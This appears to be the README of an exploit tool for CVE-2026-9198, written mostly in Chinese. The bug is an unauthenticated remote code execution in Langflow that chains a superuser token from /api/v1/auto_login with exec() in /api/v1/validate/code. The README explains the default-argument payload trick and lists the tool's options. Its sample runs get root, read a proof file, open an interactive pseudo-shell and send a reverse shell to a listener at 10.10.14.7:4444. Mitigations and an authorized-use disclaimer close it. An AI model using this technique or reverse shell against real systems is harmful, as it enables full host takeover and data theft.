在默认部署下,IBM Langflow OSS(1.0.0 – 1.10.0)存在未认证远程代码执行漏洞。该漏洞串联了两个缺陷:
AUTO_LOGIN 启用时(Langflow < 1.5 的默认配置),GET /api/v1/auto_login 会向任何无凭据的调用者签发 SUPERUSER JWT。POST /api/v1/validate/code 将用户提供的 Python 代码传入 exec(),且无沙箱隔离。两者结合(CVE-2026-9198),未认证攻击者即可获得以 Langflow 服务用户身份执行的代码执行权限——而该用户经常是 root。
从 /api/v1/auto_login 请求超级用户 bearer token(无需认证)。
向 /api/v1/validate/code 提交 payload。该端点会 exec() 代码以“验证”它;Python 在定义时求值默认参数值,因此 payload 被包裹在函数默认参数中:
def _v(a=exec('<payload>')): pass
对于命令执行,payload 会抛出一个异常,其消息即为命令输出,端点会将该输出反射回响应中(function.errors[])。
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install)AUTO_LOGIN 启用时有效(Langflow < 1.5 的默认配置;在 >= 1.5 上必须显式设置 LANGFLOW_AUTO_LOGIN=true)。如果 auto_login 未返回 token,则目标无法通过此路径利用——如果你持有有效 token,可用 -k 提供。function.errors[] 中返回;stderr 会合并到 stdout,因此失败的命令仍会显示其错误。root(在 systemd/Docker 以 root 运行裸 langflow run 时很常见),则等同于直接获得主机 root 权限。validate/code 不得 exec() 不受信任的输入,auto_login 不得签发超级用户 token。LANGFLOW_AUTO_LOGIN=false 并配置真实的超级用户凭据。root 身份运行 Langflow 服务。本项目仅出于授权安全测试和教育目的发布。请勿将其用于你未拥有或未获得明确测试许可的系统。作者对滥用行为不承担任何责任。